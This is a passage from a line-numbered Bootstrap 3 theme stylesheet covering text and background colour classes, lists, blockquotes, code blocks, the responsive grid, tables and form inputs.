1295.mark {
1296 background-color: #ff7518;
1297 padding: .2em;
1298}
1299.text-left {
1300 text-align: left;
1301}
1302.text-right {
1303 text-align: right;
1304}
1305.text-center {
1306 text-align: center;
1307}
1308.text-justify {
1309 text-align: justify;
1310}
1311.text-nowrap {
1312 white-space: nowrap;
1313}
1314.text-lowercase {
1315 text-transform: lowercase;
1316}
1317.text-uppercase {
1318 text-transform: uppercase;
1319}
1320.text-capitalize {
1321 text-transform: capitalize;
1322}
1323.text-muted {
1324 color: #999999;
1325}
1326.text-primary {
1327 color: #2780e3;
1328}
1329a.text-primary:hover {
1330 color: #1967be;
1331}
1332.text-success {
1333 color: #ffffff;
1334}
1335a.text-success:hover {
1336 color: #e6e6e6;
1337}
1338.text-info {
1339 color: #ffffff;
1340}
1341a.text-info:hover {
1342 color: #e6e6e6;
1343}
1344.text-warning {
1345 color: #ffffff;
1346}
1347a.text-warning:hover {
1348 color: #e6e6e6;
1349}
1350.text-danger {
1351 color: #ffffff;
1352}
1353a.text-danger:hover {
1354 color: #e6e6e6;
1355}
1356.bg-primary {
1357 color: #fff;
1358 background-color: #2780e3;
1359}
1360a.bg-primary:hover {
1361 background-color: #1967be;
1362}
1363.bg-success {
1364 background-color: #3fb618;
1365}
1366a.bg-success:hover {
1367 background-color: #2f8912;
1368}
1369.bg-info {
1370 background-color: #9954bb;
1371}
1372a.bg-info:hover {
1373 background-color: #7e3f9d;
1374}
1375.bg-warning {
1376 background-color: #ff7518;
1377}
1378a.bg-warning:hover {
1379 background-color: #e45c00;
1380}
1381.bg-danger {
1382 background-color: #ff0039;
1383}
1384a.bg-danger:hover {
1385 background-color: #cc002e;
1386}
1387.page-header {
1388 padding-bottom: 9.5px;
1389 margin: 42px 0 21px;
1390 border-bottom: 1px solid #e6e6e6;
1391}
1392ul,
1393ol {
1394 margin-top: 0;
1395 margin-bottom: 10.5px;
1396}
1397ul ul,
1398ol ul,
1399ul ol,
1400ol ol {
1401 margin-bottom: 0;
1402}
1403.list-unstyled {
1404 padding-left: 0;
1405 list-style: none;
1406}
1407.list-inline {
1408 padding-left: 0;
1409 list-style: none;
1410 margin-left: -5px;
1411}
1412.list-inline > li {
1413 display: inline-block;
1414 padding-left: 5px;
1415 padding-right: 5px;
1416}
1417dl {
1418 margin-top: 0;
1419 margin-bottom: 21px;
1420}
1421dt,
1422dd {
1423 line-height: 1.42857143;
1424}
1425dt {
1426 font-weight: bold;
1427}
1428dd {
1429 margin-left: 0;
1430}
1431@media (min-width: 768px) {
1432 .dl-horizontal dt {
1433 float: left;
1434 width: 160px;
1435 clear: left;
1436 text-align: right;
1437 overflow: hidden;
1438 text-overflow: ellipsis;
1439 white-space: nowrap;
1440 }
1441 .dl-horizontal dd {
1442 margin-left: 180px;
1443 }
1444}
1445abbr[title],
1446abbr[data-original-title] {
1447 cursor: help;
1448 border-bottom: 1px dotted #999999;
1449}
1450.initialism {
1451 font-size: 90%;
1452 text-transform: uppercase;
1453}
1454blockquote {
1455 padding: 10.5px 21px;
1456 margin: 0 0 21px;
1457 font-size: 18.75px;
1458 border-left: 5px solid #e6e6e6;
1459}
1460blockquote p:last-child,
1461blockquote ul:last-child,
1462blockquote ol:last-child {
1463 margin-bottom: 0;
1464}
1465blockquote footer,
1466blockquote small,
1467blockquote .small {
1468 display: block;
1469 font-size: 80%;
1470 line-height: 1.42857143;
1471 color: #999999;
1472}
1473blockquote footer:before,
1474blockquote small:before,
1475blockquote .small:before {
1476 content: '\2014 \00A0';
1477}
1478.blockquote-reverse,
1479blockquote.pull-right {
1480 padding-right: 15px;
1481 padding-left: 0;
1482 border-right: 5px solid #e6e6e6;
1483 border-left: 0;
1484 text-align: right;
1485}
1486.blockquote-reverse footer:before,
1487blockquote.pull-right footer:before,
1488.blockquote-reverse small:before,
1489blockquote.pull-right small:before,
1490.blockquote-reverse .small:before,
1491blockquote.pull-right .small:before {
1492 content: '';
1493}
1494.blockquote-reverse footer:after,
1495blockquote.pull-right footer:after,
1496.blockquote-reverse small:after,
1497blockquote.pull-right small:after,
1498.blockquote-reverse .small:after,
1499blockquote.pull-right .small:after {
1500 content: '\00A0 \2014';
1501}
1502address {
1503 margin-bottom: 21px;
1504 font-style: normal;
1505 line-height: 1.42857143;
1506}
1507code,
1508kbd,
1509pre,
1510samp {
1511 font-family: Menlo, Monaco, Consolas, "Courier New", monospace;
1512}
1513code {
1514 padding: 2px 4px;
1515 font-size: 90%;
1516 color: #c7254e;
1517 background-color: #f9f2f4;
1518 border-radius: 0;
1519}
1520kbd {
1521 padding: 2px 4px;
1522 font-size: 90%;
1523 color: #ffffff;
1524 background-color: #333333;
1525 border-radius: 0;
1526 -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.25);
1527 box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.25);
1528}
1529kbd kbd {
1530 padding: 0;
1531 font-size: 100%;
1532 font-weight: bold;
1533 -webkit-box-shadow: none;
1534 box-shadow: none;
1535}
1536pre {
1537 display: block;
1538 padding: 10px;
1539 margin: 0 0 10.5px;
1540 font-size: 14px;
1541 line-height: 1.42857143;
1542 word-break: break-all;
1543 word-wrap: break-word;
1544 color: #333333;
1545 background-color: #f5f5f5;
1546 border: 1px solid #cccccc;
1547 border-radius: 0;
1548}
1549pre code {
1550 padding: 0;
1551 font-size: inherit;
1552 color: inherit;
1553 white-space: pre-wrap;
1554 background-color: transparent;
1555 border-radius: 0;
1556}
1557.pre-scrollable {
1558 max-height: 340px;
1559 overflow-y: scroll;
1560}
1561.container {
1562 margin-right: auto;
1563 margin-left: auto;
1564 padding-left: 15px;
1565 padding-right: 15px;
1566}
1567@media (min-width: 768px) {
1568 .container {
1569 width: 750px;
1570 }
1571}
1572@media (min-width: 992px) {
1573 .container {
1574 width: 970px;
1575 }
1576}
1577@media (min-width: 1200px) {
1578 .container {
1579 width: 1170px;
1580 }
1581}
1582.container-fluid {
1583 margin-right: auto;
1584 margin-left: auto;
1585 padding-left: 15px;
1586 padding-right: 15px;
1587}
1588.row {
1589 margin-left: -15px;
1590 margin-right: -15px;
1591}
1592.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 {
1593 position: relative;
1594 min-height: 1px;
1595 padding-left: 15px;
1596 padding-right: 15px;
1597}
1598.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 {
1599 float: left;
1600}
1601.col-xs-12 {
1602 width: 100%;
1603}
1604.col-xs-11 {
1605 width: 91.66666667%;
1606}
1607.col-xs-10 {
1608 width: 83.33333333%;
1609}
1610.col-xs-9 {
1611 width: 75%;
1612}
1613.col-xs-8 {
1614 width: 66.66666667%;
1615}
1616.col-xs-7 {
1617 width: 58.33333333%;
1618}
1619.col-xs-6 {
1620 width: 50%;
1621}
1622.col-xs-5 {
1623 width: 41.66666667%;
1624}
1625.col-xs-4 {
1626 width: 33.33333333%;
1627}
1628.col-xs-3 {
1629 width: 25%;
1630}
1631.col-xs-2 {
1632 width: 16.66666667%;
1633}
1634.col-xs-1 {
1635 width: 8.33333333%;
1636}
1637.col-xs-pull-12 {
1638 right: 100%;
1639}
1640.col-xs-pull-11 {
1641 right: 91.66666667%;
1642}
1643.col-xs-pull-10 {
1644 right: 83.33333333%;
1645}
1646.col-xs-pull-9 {
1647 right: 75%;
1648}
1649.col-xs-pull-8 {
1650 right: 66.66666667%;
1651}
1652.col-xs-pull-7 {
1653 right: 58.33333333%;
1654}
1655.col-xs-pull-6 {
1656 right: 50%;
1657}
1658.col-xs-pull-5 {
1659 right: 41.66666667%;
1660}
1661.col-xs-pull-4 {
1662 right: 33.33333333%;
1663}
1664.col-xs-pull-3 {
1665 right: 25%;
1666}
1667.col-xs-pull-2 {
1668 right: 16.66666667%;
1669}
1670.col-xs-pull-1 {
1671 right: 8.33333333%;
1672}
1673.col-xs-pull-0 {
1674 right: auto;
1675}
1676.col-xs-push-12 {
1677 left: 100%;
1678}
1679.col-xs-push-11 {
1680 left: 91.66666667%;
1681}
1682.col-xs-push-10 {
1683 left: 83.33333333%;
1684}
1685.col-xs-push-9 {
1686 left: 75%;
1687}
1688.col-xs-push-8 {
1689 left: 66.66666667%;
1690}
1691.col-xs-push-7 {
1692 left: 58.33333333%;
1693}
1694.col-xs-push-6 {
1695 left: 50%;
1696}
1697.col-xs-push-5 {
1698 left: 41.66666667%;
1699}
1700.col-xs-push-4 {
1701 left: 33.33333333%;
1702}
1703.col-xs-push-3 {
1704 left: 25%;
1705}
1706.col-xs-push-2 {
1707 left: 16.66666667%;
1708}
1709.col-xs-push-1 {
1710 left: 8.33333333%;
1711}
1712.col-xs-push-0 {
1713 left: auto;
1714}
1715.col-xs-offset-12 {
1716 margin-left: 100%;
1717}
1718.col-xs-offset-11 {
1719 margin-left: 91.66666667%;
1720}
1721.col-xs-offset-10 {
1722 margin-left: 83.33333333%;
1723}
1724.col-xs-offset-9 {
1725 margin-left: 75%;
1726}
1727.col-xs-offset-8 {
1728 margin-left: 66.66666667%;
1729}
1730.col-xs-offset-7 {
1731 margin-left: 58.33333333%;
1732}
1733.col-xs-offset-6 {
1734 margin-left: 50%;
1735}
1736.col-xs-offset-5 {
1737 margin-left: 41.66666667%;
1738}
1739.col-xs-offset-4 {
1740 margin-left: 33.33333333%;
1741}
1742.col-xs-offset-3 {
1743 margin-left: 25%;
1744}
1745.col-xs-offset-2 {
1746 margin-left: 16.66666667%;
1747}
1748.col-xs-offset-1 {
1749 margin-left: 8.33333333%;
1750}
1751.col-xs-offset-0 {
1752 margin-left: 0%;
1753}
1754@media (min-width: 768px) {
1755 .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 {
1756 float: left;
1757 }
1758 .col-sm-12 {
1759 width: 100%;
1760 }
1761 .col-sm-11 {
1762 width: 91.66666667%;
1763 }
1764 .col-sm-10 {
1765 width: 83.33333333%;
1766 }
1767 .col-sm-9 {
1768 width: 75%;
1769 }
1770 .col-sm-8 {
1771 width: 66.66666667%;
1772 }
1773 .col-sm-7 {
1774 width: 58.33333333%;
1775 }
1776 .col-sm-6 {
1777 width: 50%;
1778 }
1779 .col-sm-5 {
1780 width: 41.66666667%;
1781 }
1782 .col-sm-4 {
1783 width: 33.33333333%;
1784 }
1785 .col-sm-3 {
1786 width: 25%;
1787 }
1788 .col-sm-2 {
1789 width: 16.66666667%;
1790 }
1791 .col-sm-1 {
1792 width: 8.33333333%;
1793 }
1794 .col-sm-pull-12 {
1795 right: 100%;
1796 }
1797 .col-sm-pull-11 {
1798 right: 91.66666667%;
1799 }
1800 .col-sm-pull-10 {
1801 right: 83.33333333%;
1802 }
1803 .col-sm-pull-9 {
1804 right: 75%;
1805 }
1806 .col-sm-pull-8 {
1807 right: 66.66666667%;
1808 }
1809 .col-sm-pull-7 {
1810 right: 58.33333333%;
1811 }
1812 .col-sm-pull-6 {
1813 right: 50%;
1814 }
1815 .col-sm-pull-5 {
1816 right: 41.66666667%;
1817 }
1818 .col-sm-pull-4 {
1819 right: 33.33333333%;
1820 }
1821 .col-sm-pull-3 {
1822 right: 25%;
1823 }
1824 .col-sm-pull-2 {
1825 right: 16.66666667%;
1826 }
1827 .col-sm-pull-1 {
1828 right: 8.33333333%;
1829 }
1830 .col-sm-pull-0 {
1831 right: auto;
1832 }
1833 .col-sm-push-12 {
1834 left: 100%;
1835 }
1836 .col-sm-push-11 {
1837 left: 91.66666667%;
1838 }
1839 .col-sm-push-10 {
1840 left: 83.33333333%;
1841 }
1842 .col-sm-push-9 {
1843 left: 75%;
1844 }
1845 .col-sm-push-8 {
1846 left: 66.66666667%;
1847 }
1848 .col-sm-push-7 {
1849 left: 58.33333333%;
1850 }
1851 .col-sm-push-6 {
1852 left: 50%;
1853 }
1854 .col-sm-push-5 {
1855 left: 41.66666667%;
1856 }
1857 .col-sm-push-4 {
1858 left: 33.33333333%;
1859 }
1860 .col-sm-push-3 {
1861 left: 25%;
1862 }
1863 .col-sm-push-2 {
1864 left: 16.66666667%;
1865 }
1866 .col-sm-push-1 {
1867 left: 8.33333333%;
1868 }
1869 .col-sm-push-0 {
1870 left: auto;
1871 }
1872 .col-sm-offset-12 {
1873 margin-left: 100%;
1874 }
1875 .col-sm-offset-11 {
1876 margin-left: 91.66666667%;
1877 }
1878 .col-sm-offset-10 {
1879 margin-left: 83.33333333%;
1880 }
1881 .col-sm-offset-9 {
1882 margin-left: 75%;
1883 }
1884 .col-sm-offset-8 {
1885 margin-left: 66.66666667%;
1886 }
1887 .col-sm-offset-7 {
1888 margin-left: 58.33333333%;
1889 }
1890 .col-sm-offset-6 {
1891 margin-left: 50%;
1892 }
1893 .col-sm-offset-5 {
1894 margin-left: 41.66666667%;
1895 }
1896 .col-sm-offset-4 {
1897 margin-left: 33.33333333%;
1898 }
1899 .col-sm-offset-3 {
1900 margin-left: 25%;
1901 }
1902 .col-sm-offset-2 {
1903 margin-left: 16.66666667%;
1904 }
1905 .col-sm-offset-1 {
1906 margin-left: 8.33333333%;
1907 }
1908 .col-sm-offset-0 {
1909 margin-left: 0%;
1910 }
1911}
1912@media (min-width: 992px) {
1913 .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 {
1914 float: left;
1915 }
1916 .col-md-12 {
1917 width: 100%;
1918 }
1919 .col-md-11 {
1920 width: 91.66666667%;
1921 }
1922 .col-md-10 {
1923 width: 83.33333333%;
1924 }
1925 .col-md-9 {
1926 width: 75%;
1927 }
1928 .col-md-8 {
1929 width: 66.66666667%;
1930 }
1931 .col-md-7 {
1932 width: 58.33333333%;
1933 }
1934 .col-md-6 {
1935 width: 50%;
1936 }
1937 .col-md-5 {
1938 width: 41.66666667%;
1939 }
1940 .col-md-4 {
1941 width: 33.33333333%;
1942 }
1943 .col-md-3 {
1944 width: 25%;
1945 }
1946 .col-md-2 {
1947 width: 16.66666667%;
1948 }
1949 .col-md-1 {
1950 width: 8.33333333%;
1951 }
1952 .col-md-pull-12 {
1953 right: 100%;
1954 }
1955 .col-md-pull-11 {
1956 right: 91.66666667%;
1957 }
1958 .col-md-pull-10 {
1959 right: 83.33333333%;
1960 }
1961 .col-md-pull-9 {
1962 right: 75%;
1963 }
1964 .col-md-pull-8 {
1965 right: 66.66666667%;
1966 }
1967 .col-md-pull-7 {
1968 right: 58.33333333%;
1969 }
1970 .col-md-pull-6 {
1971 right: 50%;
1972 }
1973 .col-md-pull-5 {
1974 right: 41.66666667%;
1975 }
1976 .col-md-pull-4 {
1977 right: 33.33333333%;
1978 }
1979 .col-md-pull-3 {
1980 right: 25%;
1981 }
1982 .col-md-pull-2 {
1983 right: 16.66666667%;
1984 }
1985 .col-md-pull-1 {
1986 right: 8.33333333%;
1987 }
1988 .col-md-pull-0 {
1989 right: auto;
1990 }
1991 .col-md-push-12 {
1992 left: 100%;
1993 }
1994 .col-md-push-11 {
1995 left: 91.66666667%;
1996 }
1997 .col-md-push-10 {
1998 left: 83.33333333%;
1999 }
2000 .col-md-push-9 {
2001 left: 75%;
2002 }
2003 .col-md-push-8 {
2004 left: 66.66666667%;
2005 }
2006 .col-md-push-7 {
2007 left: 58.33333333%;
2008 }
2009 .col-md-push-6 {
2010 left: 50%;
2011 }
2012 .col-md-push-5 {
2013 left: 41.66666667%;
2014 }
2015 .col-md-push-4 {
2016 left: 33.33333333%;
2017 }
2018 .col-md-push-3 {
2019 left: 25%;
2020 }
2021 .col-md-push-2 {
2022 left: 16.66666667%;
2023 }
2024 .col-md-push-1 {
2025 left: 8.33333333%;
2026 }
2027 .col-md-push-0 {
2028 left: auto;
2029 }
2030 .col-md-offset-12 {
2031 margin-left: 100%;
2032 }
2033 .col-md-offset-11 {
2034 margin-left: 91.66666667%;
2035 }
2036 .col-md-offset-10 {
2037 margin-left: 83.33333333%;
2038 }
2039 .col-md-offset-9 {
2040 margin-left: 75%;
2041 }
2042 .col-md-offset-8 {
2043 margin-left: 66.66666667%;
2044 }
2045 .col-md-offset-7 {
2046 margin-left: 58.33333333%;
2047 }
2048 .col-md-offset-6 {
2049 margin-left: 50%;
2050 }
2051 .col-md-offset-5 {
2052 margin-left: 41.66666667%;
2053 }
2054 .col-md-offset-4 {
2055 margin-left: 33.33333333%;
2056 }
2057 .col-md-offset-3 {
2058 margin-left: 25%;
2059 }
2060 .col-md-offset-2 {
2061 margin-left: 16.66666667%;
2062 }
2063 .col-md-offset-1 {
2064 margin-left: 8.33333333%;
2065 }
2066 .col-md-offset-0 {
2067 margin-left: 0%;
2068 }
2069}
2070@media (min-width: 1200px) {
2071 .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 {
2072 float: left;
2073 }
2074 .col-lg-12 {
2075 width: 100%;
2076 }
2077 .col-lg-11 {
2078 width: 91.66666667%;
2079 }
2080 .col-lg-10 {
2081 width: 83.33333333%;
2082 }
2083 .col-lg-9 {
2084 width: 75%;
2085 }
2086 .col-lg-8 {
2087 width: 66.66666667%;
2088 }
2089 .col-lg-7 {
2090 width: 58.33333333%;
2091 }
2092 .col-lg-6 {
2093 width: 50%;
2094 }
2095 .col-lg-5 {
2096 width: 41.66666667%;
2097 }
2098 .col-lg-4 {
2099 width: 33.33333333%;
2100 }
2101 .col-lg-3 {
2102 width: 25%;
2103 }
2104 .col-lg-2 {
2105 width: 16.66666667%;
2106 }
2107 .col-lg-1 {
2108 width: 8.33333333%;
2109 }
2110 .col-lg-pull-12 {
2111 right: 100%;
2112 }
2113 .col-lg-pull-11 {
2114 right: 91.66666667%;
2115 }
2116 .col-lg-pull-10 {
2117 right: 83.33333333%;
2118 }
2119 .col-lg-pull-9 {
2120 right: 75%;
2121 }
2122 .col-lg-pull-8 {
2123 right: 66.66666667%;
2124 }
2125 .col-lg-pull-7 {
2126 right: 58.33333333%;
2127 }
2128 .col-lg-pull-6 {
2129 right: 50%;
2130 }
2131 .col-lg-pull-5 {
2132 right: 41.66666667%;
2133 }
2134 .col-lg-pull-4 {
2135 right: 33.33333333%;
2136 }
2137 .col-lg-pull-3 {
2138 right: 25%;
2139 }
2140 .col-lg-pull-2 {
2141 right: 16.66666667%;
2142 }
2143 .col-lg-pull-1 {
2144 right: 8.33333333%;
2145 }
2146 .col-lg-pull-0 {
2147 right: auto;
2148 }
2149 .col-lg-push-12 {
2150 left: 100%;
2151 }
2152 .col-lg-push-11 {
2153 left: 91.66666667%;
2154 }
2155 .col-lg-push-10 {
2156 left: 83.33333333%;
2157 }
2158 .col-lg-push-9 {
2159 left: 75%;
2160 }
2161 .col-lg-push-8 {
2162 left: 66.66666667%;
2163 }
2164 .col-lg-push-7 {
2165 left: 58.33333333%;
2166 }
2167 .col-lg-push-6 {
2168 left: 50%;
2169 }
2170 .col-lg-push-5 {
2171 left: 41.66666667%;
2172 }
2173 .col-lg-push-4 {
2174 left: 33.33333333%;
2175 }
2176 .col-lg-push-3 {
2177 left: 25%;
2178 }
2179 .col-lg-push-2 {
2180 left: 16.66666667%;
2181 }
2182 .col-lg-push-1 {
2183 left: 8.33333333%;
2184 }
2185 .col-lg-push-0 {
2186 left: auto;
2187 }
2188 .col-lg-offset-12 {
2189 margin-left: 100%;
2190 }
2191 .col-lg-offset-11 {
2192 margin-left: 91.66666667%;
2193 }
2194 .col-lg-offset-10 {
2195 margin-left: 83.33333333%;
2196 }
2197 .col-lg-offset-9 {
2198 margin-left: 75%;
2199 }
2200 .col-lg-offset-8 {
2201 margin-left: 66.66666667%;
2202 }
2203 .col-lg-offset-7 {
2204 margin-left: 58.33333333%;
2205 }
2206 .col-lg-offset-6 {
2207 margin-left: 50%;
2208 }
2209 .col-lg-offset-5 {
2210 margin-left: 41.66666667%;
2211 }
2212 .col-lg-offset-4 {
2213 margin-left: 33.33333333%;
2214 }
2215 .col-lg-offset-3 {
2216 margin-left: 25%;
2217 }
2218 .col-lg-offset-2 {
2219 margin-left: 16.66666667%;
2220 }
2221 .col-lg-offset-1 {
2222 margin-left: 8.33333333%;
2223 }
2224 .col-lg-offset-0 {
2225 margin-left: 0%;
2226 }
2227}
2228table {
2229 background-color: transparent;
2230}
2231caption {
2232 padding-top: 8px;
2233 padding-bottom: 8px;
2234 color: #999999;
2235 text-align: left;
2236}
2237th {
2238 text-align: left;
2239}
2240.table {
2241 width: 100%;
2242 max-width: 100%;
2243 margin-bottom: 21px;
2244}
2245.table > thead > tr > th,
2246.table > tbody > tr > th,
2247.table > tfoot > tr > th,
2248.table > thead > tr > td,
2249.table > tbody > tr > td,
2250.table > tfoot > tr > td {
2251 padding: 8px;
2252 line-height: 1.42857143;
2253 vertical-align: top;
2254 border-top: 1px solid #dddddd;
2255}
2256.table > thead > tr > th {
2257 vertical-align: bottom;
2258 border-bottom: 2px solid #dddddd;
2259}
2260.table > caption + thead > tr:first-child > th,
2261.table > colgroup + thead > tr:first-child > th,
2262.table > thead:first-child > tr:first-child > th,
2263.table > caption + thead > tr:first-child > td,
2264.table > colgroup + thead > tr:first-child > td,
2265.table > thead:first-child > tr:first-child > td {
2266 border-top: 0;
2267}
2268.table > tbody + tbody {
2269 border-top: 2px solid #dddddd;
2270}
2271.table .table {
2272 background-color: #ffffff;
2273}
2274.table-condensed > thead > tr > th,
2275.table-condensed > tbody > tr > th,
2276.table-condensed > tfoot > tr > th,
2277.table-condensed > thead > tr > td,
2278.table-condensed > tbody > tr > td,
2279.table-condensed > tfoot > tr > td {
2280 padding: 5px;
2281}
2282.table-bordered {
2283 border: 1px solid #dddddd;
2284}
2285.table-bordered > thead > tr > th,
2286.table-bordered > tbody > tr > th,
2287.table-bordered > tfoot > tr > th,
2288.table-bordered > thead > tr > td,
2289.table-bordered > tbody > tr > td,
2290.table-bordered > tfoot > tr > td {
2291 border: 1px solid #dddddd;
2292}
2293.table-bordered > thead > tr > th,
2294.table-bordered > thead > tr > td {
2295 border-bottom-width: 2px;
2296}
2297.table-striped > tbody > tr:nth-of-type(odd) {
2298 background-color: #f9f9f9;
2299}
2300.table-hover > tbody > tr:hover {
2301 background-color: #f5f5f5;
2302}
2303table col[class*="col-"] {
2304 position: static;
2305 float: none;
2306 display: table-column;
2307}
2308table td[class*="col-"],
2309table th[class*="col-"] {
2310 position: static;
2311 float: none;
2312 display: table-cell;
2313}
2314.table > thead > tr > td.active,
2315.table > tbody > tr > td.active,
2316.table > tfoot > tr > td.active,
2317.table > thead > tr > th.active,
2318.table > tbody > tr > th.active,
2319.table > tfoot > tr > th.active,
2320.table > thead > tr.active > td,
2321.table > tbody > tr.active > td,
2322.table > tfoot > tr.active > td,
2323.table > thead > tr.active > th,
2324.table > tbody > tr.active > th,
2325.table > tfoot > tr.active > th {
2326 background-color: #f5f5f5;
2327}
2328.table-hover > tbody > tr > td.active:hover,
2329.table-hover > tbody > tr > th.active:hover,
2330.table-hover > tbody > tr.active:hover > td,
2331.table-hover > tbody > tr:hover > .active,
2332.table-hover > tbody > tr.active:hover > th {
2333 background-color: #e8e8e8;
2334}
2335.table > thead > tr > td.success,
2336.table > tbody > tr > td.success,
2337.table > tfoot > tr > td.success,
2338.table > thead > tr > th.success,
2339.table > tbody > tr > th.success,
2340.table > tfoot > tr > th.success,
2341.table > thead > tr.success > td,
2342.table > tbody > tr.success > td,
2343.table > tfoot > tr.success > td,
2344.table > thead > tr.success > th,
2345.table > tbody > tr.success > th,
2346.table > tfoot > tr.success > th {
2347 background-color: #3fb618;
2348}
2349.table-hover > tbody > tr > td.success:hover,
2350.table-hover > tbody > tr > th.success:hover,
2351.table-hover > tbody > tr.success:hover > td,
2352.table-hover > tbody > tr:hover > .success,
2353.table-hover > tbody > tr.success:hover > th {
2354 background-color: #379f15;
2355}
2356.table > thead > tr > td.info,
2357.table > tbody > tr > td.info,
2358.table > tfoot > tr > td.info,
2359.table > thead > tr > th.info,
2360.table > tbody > tr > th.info,
2361.table > tfoot > tr > th.info,
2362.table > thead > tr.info > td,
2363.table > tbody > tr.info > td,
2364.table > tfoot > tr.info > td,
2365.table > thead > tr.info > th,
2366.table > tbody > tr.info > th,
2367.table > tfoot > tr.info > th {
2368 background-color: #9954bb;
2369}
2370.table-hover > tbody > tr > td.info:hover,
2371.table-hover > tbody > tr > th.info:hover,
2372.table-hover > tbody > tr.info:hover > td,
2373.table-hover > tbody > tr:hover > .info,
2374.table-hover > tbody > tr.info:hover > th {
2375 background-color: #8d46b0;
2376}
2377.table > thead > tr > td.warning,
2378.table > tbody > tr > td.warning,
2379.table > tfoot > tr > td.warning,
2380.table > thead > tr > th.warning,
2381.table > tbody > tr > th.warning,
2382.table > tfoot > tr > th.warning,
2383.table > thead > tr.warning > td,
2384.table > tbody > tr.warning > td,
2385.table > tfoot > tr.warning > td,
2386.table > thead > tr.warning > th,
2387.table > tbody > tr.warning > th,
2388.table > tfoot > tr.warning > th {
2389 background-color: #ff7518;
2390}
2391.table-hover > tbody > tr > td.warning:hover,
2392.table-hover > tbody > tr > th.warning:hover,
2393.table-hover > tbody > tr.warning:hover > td,
2394.table-hover > tbody > tr:hover > .warning,
2395.table-hover > tbody > tr.warning:hover > th {
2396 background-color: #fe6600;
2397}
2398.table > thead > tr > td.danger,
2399.table > tbody > tr > td.danger,
2400.table > tfoot > tr > td.danger,
2401.table > thead > tr > th.danger,
2402.table > tbody > tr > th.danger,
2403.table > tfoot > tr > th.danger,
2404.table > thead > tr.danger > td,
2405.table > tbody > tr.danger > td,
2406.table > tfoot > tr.danger > td,
2407.table > thead > tr.danger > th,
2408.table > tbody > tr.danger > th,
2409.table > tfoot > tr.danger > th {
2410 background-color: #ff0039;
2411}
2412.table-hover > tbody > tr > td.danger:hover,
2413.table-hover > tbody > tr > th.danger:hover,
2414.table-hover > tbody > tr.danger:hover > td,
2415.table-hover > tbody > tr:hover > .danger,
2416.table-hover > tbody > tr.danger:hover > th {
2417 background-color: #e60033;
2418}
2419.table-responsive {
2420 overflow-x: auto;
2421 min-height: 0.01%;
2422}
2423@media screen and (max-width: 767px) {
2424 .table-responsive {
2425 width: 100%;
2426 margin-bottom: 15.75px;
2427 overflow-y: hidden;
2428 -ms-overflow-style: -ms-autohiding-scrollbar;
2429 border: 1px solid #dddddd;
2430 }
2431 .table-responsive > .table {
2432 margin-bottom: 0;
2433 }
2434 .table-responsive > .table > thead > tr > th,
2435 .table-responsive > .table > tbody > tr > th,
2436 .table-responsive > .table > tfoot > tr > th,
2437 .table-responsive > .table > thead > tr > td,
2438 .table-responsive > .table > tbody > tr > td,
2439 .table-responsive > .table > tfoot > tr > td {
2440 white-space: nowrap;
2441 }
2442 .table-responsive > .table-bordered {
2443 border: 0;
2444 }
2445 .table-responsive > .table-bordered > thead > tr > th:first-child,
2446 .table-responsive > .table-bordered > tbody > tr > th:first-child,
2447 .table-responsive > .table-bordered > tfoot > tr > th:first-child,
2448 .table-responsive > .table-bordered > thead > tr > td:first-child,
2449 .table-responsive > .table-bordered > tbody > tr > td:first-child,
2450 .table-responsive > .table-bordered > tfoot > tr > td:first-child {
2451 border-left: 0;
2452 }
2453 .table-responsive > .table-bordered > thead > tr > th:last-child,
2454 .table-responsive > .table-bordered > tbody > tr > th:last-child,
2455 .table-responsive > .table-bordered > tfoot > tr > th:last-child,
2456 .table-responsive > .table-bordered > thead > tr > td:last-child,
2457 .table-responsive > .table-bordered > tbody > tr > td:last-child,
2458 .table-responsive > .table-bordered > tfoot > tr > td:last-child {
2459 border-right: 0;
2460 }
2461 .table-responsive > .table-bordered > tbody > tr:last-child > th,
2462 .table-responsive > .table-bordered > tfoot > tr:last-child > th,
2463 .table-responsive > .table-bordered > tbody > tr:last-child > td,
2464 .table-responsive > .table-bordered > tfoot > tr:last-child > td {
2465 border-bottom: 0;
2466 }
2467}
2468fieldset {
2469 padding: 0;
2470 margin: 0;
2471 border: 0;
2472 min-width: 0;
2473}
2474legend {
2475 display: block;
2476 width: 100%;
2477 padding: 0;
2478 margin-bottom: 21px;
2479 font-size: 22.5px;
2480 line-height: inherit;
2481 color: #333333;
2482 border: 0;
2483 border-bottom: 1px solid #e5e5e5;
2484}
2485label {
2486 display: inline-block;
2487 max-width: 100%;
2488 margin-bottom: 5px;
2489 font-weight: bold;
2490}
2491input[type="search"] {
2492 -webkit-box-sizing: border-box;
2493 -moz-box-sizing: border-box;
2494 box-sizing: border-box;
2495}
2496input[type="radio"],
2497input[type="checkbox"] {
2498 margin: 4px 0 0;
2499 margin-top: 1px \9;
2500 line-height: normal;
2501}
2502input[type="file"] {
2503 display: block;
2504}
2505input[type="range"] {
2506 display: block;
2507 width: 100%;
2508}
2509select[multiple],
2510select[size] {
2511 height: auto;
2512}
2513input[type="file"]:focus,
2514input[type="radio"]:focus,
2515input[type="checkbox"]:focus {
2516 outline: thin dotted;
